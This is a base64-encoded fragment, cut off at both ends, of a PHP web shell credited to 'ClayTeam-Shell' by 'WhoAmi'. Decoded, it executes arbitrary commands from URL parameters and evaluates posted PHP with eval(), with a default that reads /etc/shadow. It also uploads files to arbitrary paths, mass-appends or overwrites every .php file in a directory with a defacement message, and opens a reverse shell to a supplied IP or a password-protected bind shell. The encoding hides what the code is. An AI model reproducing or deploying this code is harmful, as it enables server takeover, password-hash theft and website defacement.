gfSANCiAgICA/PiANCjwvdWw+IA0KPC9kaXY+IA0KDQo8P3BocCANCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gQ2hlY2sgd2hhdCBoZSB3YW50cyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIA0KDQovLyBTaGVsbCANCg0KaWYoaXNzZXQoJF9HRVRbJ3NoZWxsJ10pKSANCnsgDQogICAgaWYoIWlzc2V0KCRfR0VUWydjbWQnXSkgfHwgJF9HRVRbJ2NtZCddID09ICcnKSANCiAgICB7IA0KICAgICAgICAkcmVzdWx0ID0gIiI7ICAgICANCiAgICB9IA0KICAgIGVsc2UgDQogICAgeyANCiAgICAgICAgJHJlc3VsdD1leGVjX2FsbCgkX0dFVFsnY21kJ10pOyANCiAgICB9IA0KICAgID8+IA0KICAgIDx0ZXh0YXJlYSBjbGFzcz0iY21kIiBjb2xzPSIxMDAiIHJvd3M9IjIwIj48P3BocCBlY2hvICRyZXN1bHQ7Pz48L3RleHRhcmVhPjxiciAvPjxiciAvPiANCiAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHNlbGY7Pz4iIG1ldGhvZD0iR0VUIj4gDQogICAgPCEtLSBGb3IgU2hlbGwgLS0+IA0KICAgIDxpbnB1dCBuYW1lPSJzaGVsbCIgdHlwZT0iaGlkZGVuIiAvPiANCiAgICA8IS0tIEZvciBDTUQgLS0+IA0KICAgIDxpbnB1dCBuYW1lPSJjbWQiIGNsYXNzPSJjbWQiIC8+IA0KICAgIDxpbnB1dCBuYW1lPSJzdWJtaXQiIHZhbHVlPSJTcGluIFRoYXQgU2hpdCEiIGNsYXNzPSJvd24iIHR5cGU9InN1Ym1pdCIgLz4gDQogICAgPC9mb3JtPiANCiAgICA8P3BocCANCn0gDQoNCg0KLy8gUEhQIGV2YWx1YXRlIA0KDQplbHNlIGlmKGlzc2V0KCRfR0VUWydldmFsJ10pKSANCnsgDQogICAgPz4gDQogICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4gDQogICAgPHRleHRhcmVhIG5hbWU9ImNvZGUiIGNsYXNzPSJjbWQiIGNvbHM9IjEwMCIgcm93cz0iMjAiPjw/cGhwIA0KICAgIC8vIElmIHRoZSBjb21hbmQgd2FzIHNlbnQgDQogICAgaWYoaXNzZXQoJF9QT1NUWydjb2RlJ10pIA0KICAgICAgICAmJiAkX1BPU1RbJ2NvZGUnXSANCiAgICApIA0KICAgIHsgDQogICAgICAgIC8vIEZJbHRlciBTb21lIENoYXJzIHdlIGRvbnQgbmVlZCANCg0KICAgICAgICAkY29kZSA9IHN0cl9yZXBsYWNlKCI8P3BocCIsIiIsJF9QT1NUWydjb2RlJ10pOyANCiAgICAgICAgJGNvZGUgPSBzdHJfcmVwbGFjZSgiPD8iLCIiLCRjb2RlKTsgDQogICAgICAgICRjb2RlID0gc3RyX3JlcGxhY2UoIj8+IiwiIiwkY29kZSk7IA0KDQogICAgICAgIC8vIEV2YWx1YXRlIFBIUCBDb0RFISANCg0KICAgICAgICBodG1sc3BlY2lhbGNoYXJzKGV2YWwoJGNvZGUpKTsgDQogICAgfSANCiAgICBlbHNlIA0KICAgIHsgDQogICAgICAgID8+ZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9zaGFkb3cnKTs8P3BocCANCiAgICB9IA0KICAgID8+PC90ZXh0YXJlYT48YnIgLz48YnIgLz4gDQogICAgPGlucHV0IG5hbWU9InN1Ym1pdCIgdmFsdWU9IkV2YWwgVGhhdCBDT2RlISA6RCIgY2xhc3M9Im93biIgdHlwZT0ic3VibWl0IiAvPiANCiAgICA8L2Zvcm0+IA0KICAgIDw/cGhwIA0KICAgICANCn0gDQoNCi8vIFVwbG9hZCANCg0KZWxzZSBpZihpc3NldCgkX0dFVFsndXBsb2FkJ10pKSANCnsgDQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWydmaWxlJ10pICYmIA0KICAgICAgICBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgIA0KICAgICApIA0KICAgIHsgDQogICAgICAgICRwYXRoID0gJF9QT1NUWydwYXRoJ107IA0KICAgICAgICAgICAgIA0KICAgICAgICBpZigkcGF0aFsoc3RybGVuKCRwYXRoKS0xKV0gIT0gJFNFUEFSQVRPUil7JHBhdGggPSAkcGF0aC4kU0VQQVJBVE9SO30gDQogICAgICAgICANCiAgICAgICAgaWYoaXNfZGlyKCRwYXRoKSkgDQogICAgICAgIHsgDQogICAgICAgICAgICAkdXBsb2FkZWRGaWxlUGF0aCA9ICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddOyANCiAgICAgICAgICAgICR0ZW1wTmFtZSA9ICRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXTsgDQogICAgICAgICAgICAkdXBsb2FkUGF0aCA9ICRwYXRoIC4gICR1cGxvYWRlZEZpbGVQYXRoOyANCiAgICAgICAgICAgICRzdGF0ID0gbW92ZV91cGxvYWRlZF9maWxlKCR0ZW1wTmFtZSAsICR1cGxvYWRlZEZpbGVQYXRoKTsgDQogICAgICAgICAgICBpZiAoJHN0YXQpIA0KICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nd2FybmluZyc+RmlsZSB1cGxvYWRlZCB0byAkdXBsb2FkUGF0aDwvcD4iOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBlbHNlIA0KICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nd2FybmluZycgPiA6KCA6JyggRmFpbGVkIHRvIHVwbG9hZCBmaWxlIHRvICR1cGxvYWRQYXRoPC9wPiI7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgIH0gDQogICAgfSANCiAgICBlbHNlIA0KICAgIHsgDQogICAgPz4gDQogICAgPHRhYmxlIGNsYXNzPSJiaW5kIiBhbGlnbj0iY2VudGVyIiA+IA0KICAgIDx0cj4gDQogICAgICAgIDx0aCBjbGFzcz0iaGVhZGVyIiBjb2xzcGFuPSIxIiB3aWR0aD0iNTBweCI+VXBsb2FkIChGcm9tIHVyIENvbXB1dGVyKTwvdGg+IA0KICAgIDwvdHI+IA0KICAgIDx0cj4gDQogICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgPHRhYmxlIHN0eWxlPSJib3JkZXItc3BhY2luZzogNnB4OyI+IA0KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEwMCI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiLz48L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImZpbGUiIGNsYXNzPSJvd24iIHZhbHVlPSJVcGxvYWQiLz48L3RkPiANCiAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9J2NtZCcgc3R5bGU9IndpZHRoOiAyODBweDsiIG5hbWU9J3BhdGgnIHZhbHVlPSI8P3BocCBlY2hvIGdldGN3ZCgpOyA/PiIgLz4gICAgDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8L2Zvcm0+IA0KICAgICAgICAgICAgPC90YWJsZT4gDQogICAgICAgICA8L3RkPiANCiAgICA8L3RyPiANCiAgICA8L3RhYmxlPiANCjw/cGhwIA0KICAgIH0gDQoNCn0gDQoNCi8vIENvZGUgSW5qZWN0b3IgDQoNCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ2luamVjdG9yJ10pKSANCnsgDQogICAgaWYoaXNzZXQoJF9HRVRbJ2RpciddKSAmJiANCiAgICAkX0dFVFsnZGlyJ10gIT0gJycgJiYgDQogICAgaXNzZXQoJF9HRVRbJ2ZpbGV0eXBlJ10pICYmIA0KICAgICRfR0VUWydmaWxldHlwZSddICE9ICcnICYmIA0KICAgIGlzc2V0KCRfR0VUWydtb2RlJ10pICYmIA0KICAgICRfR0VUWydtb2RlJ10gIT0gJycgJiYgIA0KICAgIGlzc2V0KCRfR0VUWydtZXNzYWdlJ10pICYmIA0KICAgICRfR0VUWydtZXNzYWdlJ10gIT0gJycgIA0KICAgICkgDQogICAgeyANCiAgICAgICAgJGRpciA9ICRfR0VUWydkaXInXTsgDQogICAgICAgICRmaWxldHlwZSA9ICRfR0VUWydmaWxldHlwZSddOyANCiAgICAgICAgJG1lc3NhZ2UgPSAkX0dFVFsnbWVzc2FnZSddOyANCiAgICAgICAgIA0KICAgICAgICAkbW9kZSA9ICJhIjsgLy9kZWZhdWx0IG1vZGUgDQogICAgICAgICANCiAgICAgICAgIA0KICAgICAgICAvLyBNb2RlcyBCZWdpbiANCiAgICAgICAgIA0KICAgICAgICBpZigkX0dFVFsnbW9kZSddID09ICdBcGVuZGVyJykgDQogICAgICAgIHsgDQogICAgICAgICAgICAkbW9kZSA9ICJhIjsgDQogICAgICAgIH0gDQogICAgICAgIGlmKCRfR0VUWydtb2RlJ10gPT0gJ092ZXJ3cml0ZXInKSANCiAgICAgICAgeyANCiAgICAgICAgICAgICRtb2RlID0gInciOyANCiAgICAgICAgfSANCiAgICAgICAgIA0KICAgICAgICBpZigkaGFuZGxlID0gb3BlbmRpcigkZGlyKSkgDQogICAgICAgIHsgDQogICAgICAgICAgICA/PiANCiAgICAgICAgICAgIE92ZXJ3cml0dGVuIEZpbGVzIDotIA0KICAgICAgICAgICAgPHVsIHN0eWxlPSJwYWRkaW5nOiAxMHB4OyIgPiANCiAgICAgICAgICAgIDw/cGhwIA0KICAgICAgICAgICAgd2hpbGUoKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkgIT09IEZhbHNlKSANCiAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgaWYoKHByZWdfbWF0Y2goIi8kZmlsZXR5cGUiLickJy4nLycsICRmaWxlICwgJG1hdGNoZXMpICE9IDApICYmIChwcmVnX21hdGNoKCcvJy4kZmlsZS4nJC8nLCAkc2VsZiAsICRtYXRjaGVzKSAhPSAxKSkgDQogICAgICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICAgICAgPz4gDQogICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImZpbGUiPjxhIGhyZWY9Ijw/cGhwIGVjaG8gIiRzZWxmP29wZW49JGRpciRmaWxlIj8+Ij48P3BocCBlY2hvICRmaWxlOyA/PjwvYT48L2xpPiANCiAgICAgICAgICAgICAgICAgICAgPD9waHAgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIlxuIjsgDQogICAgICAgICAgICAgICAgICAgICRmZCA9IGZvcGVuKCRkaXIuJGZpbGUsJG1vZGUpOyANCiAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmZCwkbWVzc2FnZSk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgPz4gDQogICAgICAgICAgICA8L3VsPiANCiAgICAgICAgICAgIDw/cGhwIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgZWxzZSANCiAgICB7IA0KICAgICAgICA/PiANCiAgICAgICAgPHRhYmxlIGlkPSJtYXJnaW5zIiA+IA0KICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSdHRVQnPiANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImluamVjdG9yIi8+ICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMDAiIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgRGlyZWN0b3J5IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPiANCiAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0iZGlyIiB2YWx1ZT0iPD9waHAgZWNobyBnZXRjd2QoKS4kU0VQQVJBVE9SOyA/PiIgLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICBNb2RlIA0KICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogNDAwcHg7IiBuYW1lPSJtb2RlIiBjbGFzcz0iY21kIj4gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iQXBlbmRlciI+QXBlbmRlcjwvb3B0aW9uPiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJPdmVyd3JpdGVyIj5PdmVyd3JpdGVyPC9vcHRpb24+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+IA0KICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIEZpbGUgVHlwZSANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0iZmlsZXR5cGUiIHZhbHVlPSIucGhwIiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9Jy5waHAnOyIgLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlIiBjb2xzPSIxNzMiIHJvd3M9IjEwIiBjbGFzcz0iY21kIj5BbGwgaSByZW1lbWJlciBhcmUgdGhvc2UgbG9uZWx5IG5pZ2h0cyB3aGVuIGkgd2FzIGRlZmFjaW5nIHRob3NlIGluc2VjdXJlIHdlYnNpdGVzITwvdGV4dGFyZWE+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9Im1hcmdpbiA6IDIwcHg7IG1hcmdpbi1sZWZ0OiAzOTBweDsgcGFkZGluZyA6IDEwcHg7IHdpZHRoOiAxMDBweDsiIHR5cGU9InN1Ym1pdCIgY2xhc3M9Im93biIgdmFsdWU9IkluamVjdCA6RCIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgIDwvZm9ybT4gDQogICAgICAgIDwvdGFibGU+IA0KICAgICAgICA8P3BocCANCiAgICB9IA0KfSANCi8vIENvbm5lY3QgDQoNCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ2Nvbm5lY3QnXSkpIA0KeyANCiAgICBpZihpc3NldCgkX1BPU1RbJ2lwJ10pICYmIA0KICAgICBpc3NldCgkX1BPU1RbJ3BvcnQnXSkgJiYgIA0KICAgICAgICAkX1BPU1RbJ2lwJ10gIT0gIiIgJiYgDQogICAgICAgICRfUE9TVFsncG9ydCddICE9ICIiIA0KICAgICApIA0KICAgIHsgDQogICAgICAgIGVjaG8gIjxwPlRoZSBQcm9ncmFtIGlzIG5vdyB0cnlpbmcgdG8gY29ubmVjdCE8L3A+IjsgDQogICAgICAgICRpcCA9ICRfUE9TVFsnaXAnXTsgIA0KICAgICAgICAkcG9ydD0kX1BPU1RbJ3BvcnQnXTsgIA0KICAgICAgICAkc29ja2ZkPWZzb2Nrb3BlbigkaXAgLCAkcG9ydCAsICRlcnJubywgJGVycnN0ciApOyAgDQogICAgICAgIGlmKCRlcnJubyAhPSAwKSANCiAgICAgICAgeyANCiAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdyZWQnPjxiPiRlcnJubzwvYj4gOiAkZXJyc3RyPC9mb250PiI7IA0KICAgICAgICB9IA0KICAgICAgICBlbHNlIGlmICghJHNvY2tmZCkgDQogICAgICAgIHsgIA0KICAgICAgICAgICAgICAgJHJlc3VsdCA9ICI8cD5GYXRhbCA6IEFuIHVuZXhwZWN0ZWQgZXJyb3Igd2FzIG9jY3VyZWQgd2hlbiB0cnlpbmcgdG8gY29ubmVjdCE8L3A+IjsgDQogICAgICAgIH0gIA0KICAgICAgICBlbHNlIA0KICAgICAgICB7ICANCiAgICAgICAgICAgIGZwdXRzICgkc29ja2ZkICwiXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuQ2xheVRlYW0tU2hlbGwgfCBDMGQzZCBieSBXaG9BbWkgfCBUdW5pc2lhXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOyANCiAgICAgICAgICRwd2QgPSBleGVjX2FsbCgicHdkIik7IA0KICAgICAgICAgJHN5c2luZm8gPSBleGVjX2FsbCgidW5hbWUgLWEiKTsgDQogICAgICAgICAkaWQgPSBleGVjX2FsbCgiaWQiKTsgDQogICAgICAgICAkZGF0ZUFuZFRpbWUgPSBleGVjX2FsbCgidGltZSAvdCAmIGRhdGUgL1QiKTsgDQogICAgICAgICAkbGVuID0gMTMzNzsgDQogICAgICAgICBmcHV0cygkc29ja2ZkICwkc3lzaW5mbyAuICJcbiIgKTsgDQogICAgICAgICBmcHV0cygkc29ja2ZkICwkcHdkIC4gIlxuIiApOyANCiAgICAgICAgIGZwdXRzKCRzb2NrZmQgLCRpZCAuIlxuXG4iICk7IA0KICAgICAgICAgZnB1dHMoJHNvY2tmZCAsJGRhdGVBbmRUaW1lLiJcblxuIiApOyANCiAgICAgICAgIHdoaWxlKCFmZW9mKCRzb2NrZmQpKSANCiAgICAgICAgIHsgICANCiAgICAgICAgICAgICRjbWRQcm9tcHQgPSIoQ2xheVRlYU0tU2hlbGwpWyRdPiAiOyANCiAgICAgICAgICAgIGZwdXRzICgkc29ja2ZkICwgJGNtZFByb21wdCApOyAgDQogICAgICAgICAgICAkY29tbWFuZD0gZmdldHMoJHNvY2tmZCwgJGxlbik7IA0KICAgICAgICAgICAgZnB1dHMoJHNvY2tmZCAsICJcbiIgLiBleGVjX2FsbCgkY29tbWFuZCkgLiAiXG5cbiIpOyANCiAgICAgICAgfSAgDQogICAgICAgIGZjbG9zZSgkc29ja2ZkKTsgIA0KICAgICAgICB9ICANCiAgICB9IA0KICAgIGVsc2UgaWYoIA0KICAgIGlzc2V0KCRfUE9TVFsncG9ydCddKSAmJiANCiAgICBpc3NldCgkX1BPU1RbJ3Bhc3N3ZCddKSAmJiAgDQogICAgJF9QT1NUWydwb3J0J10gIT0gIiIgJiYgDQogICAgJF9QT1NUWydwYXNzd2QnXSAhPSAiIiAgKSANCiAgICB7IA0KICAgICAgICAvLyBTZXQgdGltZSBsaW1pdCB0byBpbmRlZmluaXRlIGV4ZWN1dGlvbiANCiAgICAgICAgc2V0X3RpbWVfbGltaXQgKDApOyANCiAgICAgICAgIA0KICAgICAgICAgDQogICAgICAgIC8vIFNldCB0aGUgaXAgYW5kIHBvcnQgd2Ugd2lsbCBsaXN0ZW4gb24gDQogICAgICAgICRhZGRyZXNzID0gJzEyNy4wLjAuMSc7IA0KICAgICAgICAkcG9ydCA9ICRfUE9TVFsncG9ydCddOyANCiAgICAgICAgJHBhc3MgPSAkX1BPU1RbJ3Bhc3N3ZCddOyANCg0KICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoInNvY2tldF9jcmVhdGUiKSkgDQogICAgICAgIHsgDQogICAgICAgIC8vIENyZWF0ZSBhIFRDUCBTdHJlYW0gc29ja2V0IA0KICAgICAgICAkc29ja2ZkID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7IA0KDQogICAgICAgDQogICAgICAgIC8vIEJpbmQgdGhlIHNvY2tldCB0byBhbiBhZGRyZXNzL3BvcnQgDQogICAgICAgICANCiAgICAgICAgIA0KICAgICAgICBpZihzb2NrZXRfYmluZCgkc29ja2ZkLCAkYWRkcmVzcywgJHBvcnQpID09IEZBTFNFKSANCiAgICAgICAgeyANCiAgICAgICAgICAgIGVjaG8gIkNhbnQgQmluZCB0byB0aGUgc3BlY2lmaWVkIHBvcnQgYW5kIGFkZHJlc3MhIjsgDQogICAgICAgIH0gDQogICAgICAgIC8vIFN0YXJ0IGxpc3RlbmluZyBmb3IgY29ubmVjdGlvbnMgDQogICAgICAgIHNvY2tldF9saXN0ZW4oJHNvY2tmZCwxNSk7IA0KICAgICAgICAgDQogICAgIA0KICAgICAgICAkcGFzc3dvcmRQcm9tcHQgPSAiXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuQ2xheVRlYW0tU2hlbGwgfCBDMGQzZCBieSBXaG9BbWkgfCBUdW5pc2lhXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuXG4weFBhc3N3b3JkIDogIjsgDQogICAgICAgICANCiAgICAgICAgLyogQWNjZXB0IGluY29taW5nIHJlcXVlc3RzIGFuZCBoYW5kbGUgdGhlbSBhcyBjaGlsZCBwcm9jZXNzZXMgKi8gDQogICAgICAgICRjbGllbnQgPSBzb2NrZXRfYWNjZXB0KCRzb2NrZmQpOyANCiAgICAgICAgIA0KDQogICAgICAgIHNvY2tldF93cml0ZSgkY2xpZW50ICwgJHBhc3N3b3JkUHJvbXB0KTsgDQogICAgICAgIC8vIFJlYWQgdGhlIHBhc3MgZnJvbSB0aGUgY2xpZW50IA0KICAgICAgICAkaW5wdXQgPSBzb2NrZXRfcmVhZCgkY2xpZW50LCBzdHJsZW4oJHBhc3MpICsgMik7IC8vICsyIGZvciBcclxuIA0KICAgICAgICBpZih0cmltKCRpbnB1dCkgPT0gJHBhc3MpIA0KICAgICAgICB7IA0KICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCAiXG5cbiIpOyANCiAgICAgICAgICAgIHNvY2tldF93cml0ZSgkY2xpZW50ICwgKCRvcyA9PSAiV2luZG93cyIpID8gZXhlY19hbGwoImRhdGUgL3QgJiB0aW1lIC90IikgIC4gIlxuIiAuIGV4ZWNfYWxsKCJ2ZXIiKSA6IGV4ZWNfYWxsKCJkYXRlIikgLiAiXG4iIC4gZXhlY19hbGwoInVuYW1lIC1hIikpOyANCiAgICAgICAgICAgIHNvY2tldF93cml0ZSgkY2xpZW50ICwgIlxuXG4iKTsgDQogICAgICAgICAgICB3aGlsZSgxKSANCiAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgLy8gUHJpbnQgQ29tbWFuZCBwcm9tcHQgDQogICAgICAgICAgICAgICAgJGNvbW1hbmRQcm9tcHQgPSIoTWFkbGVldC1TaGVsbClbJF0+ICI7IA0KICAgICAgICAgICAgICAgICRtYXhDbWRMZW4gPSAzMTMzNzsgDQogICAgICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQsJGNvbW1hbmRQcm9tcHQpOyANCiAgICAgICAgICAgICAgICAkY21kID0gc29ja2V0X3JlYWQoJGNsaWVudCwkbWF4Q21kTGVuKTsgDQogICAgICAgICAgICAgICAgaWYoJGNtZCA9PSBGQUxTRSkgDQogICAgICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICAgICAgZWNobyAiVGhlIGNsaWVudCBDbG9zZWQgdGhlIGNvbmVjdGlvbiEiOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCBleGVjX2FsbCgkY21kKSk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgZWxzZSANCiAgICAgICAgeyANCiAgICAgICAgICAgIGVjaG8gIldyb25nIFBhc3N3b3JkISI7IA0KICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQsICJzVSh8PCAtIDBGRiBCaXRjaCFcblxuIik7IA0KICAgICAgICB9IA0KICAgICAgICBzb2NrZXRfc2h1dGRvd24oJGNsaWVudCwgMik7IA0KICAgICAgICBzb2NrZXRfY2xvc2UoJHNvY2tldCk7IA0KICAgICAgICAgDQogICAgICAgIC8vIENsb3NlIHRoZSBjbGllbnQgKGNoaWxkKSBzb2NrZXQgDQogICAgICAgIC8vc29ja2V0X2Nsb3NlKCRjbGllbnQpOyANCiAgICAgICAgLy8gQ2xvc2UgdGhlIG1hc3RlciBzb2NrZXRzIA0KICAgICAgICAvL3NvY2tldF9jbG9zZSgkc29jayk7IA0KICAgICAgICB9IA0KICAgICAgICBlbHNlIA0KICAgICAgICB7IA0KICAgICAgICAgICAgZWNobyAiU29ja2V0IENvbmVjdGlvbnMgbm90IEFsbG93ZWQvU3VwcG9ydGVkIGJ5IHRoZSBzZXJ2ZXIhIDxiciAvPiI7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgZWxzZSANCiAgICB7IA0KICAgID8+ICAgICAgICANCiAgICA8dGFibGUgY2xhc3M9ImJpbmQiIGFsaWduPSJjZW50ZXIiID4gDQogICAgPHRyPiANCiAgICAgICAgPHRoIGNsYXNzPSJoZWFkZXIiIGNvbHNwYW49IjEiIHdpZHRoPSI1MHB4Ij5CYWNrIENvbm5lY3Q8L3RoPiANCiAgICAgICAgPHRoIGNsYXNzPSJoZWFkZXIiIGNvbHNwYW49IjEiIHdpZHRoPSI1MHB4Ij5CaW5kIFNoZWxsPC90aD4gDQogICAgPC90cj4gDQogICAgPHRyPiANCiAgICAgICAgPGZvcm0gbWV0aG9kPSdQT1NUJyA+ICAgDQogICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgPHRhYmxlIHN0eWxlPSJib3JkZXItc3BhY2luZzogNnB4OyI+IA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD5JUCA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0id2lkdGg6IDIwMHB4OyIgY2xhc3M9ImNtZCIgbmFtZT0iaXAiIHZhbHVlPSI8P3BocCBnZXRDbGllbnRJcCgpOz8+IiAvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPlBvcnQgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOiAxMDBweDsiIGNsYXNzPSJjbWQiIG5hbWU9InBvcnQiIHNpemU9JzUnIHZhbHVlPSIzMTMzNyIvPiZuYnNwOyZuYnNwOzxpbnB1dCBzdHlsZT0id2lkdGg6IDkwcHg7IiBjbGFzcz0ib3duIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0ISIvPjwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgPC90YWJsZT4gDQogICAgICAgICA8L3RkPiANCiAgICAgICAgIDwvZm9ybT4gIA0KICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4gDQogICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgPHRhYmxlIHN0eWxlPSJib3JkZXItc3BhY2luZzogNnB4OyI+IA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD5Qb3J0PC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9IndpZHRoOiAyMDBweDsiIGNsYXNzPSJjbWQiIG5hbWU9InBvcnQiIHZhbHVlPSIxMzM3IiAvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgPHRyPiA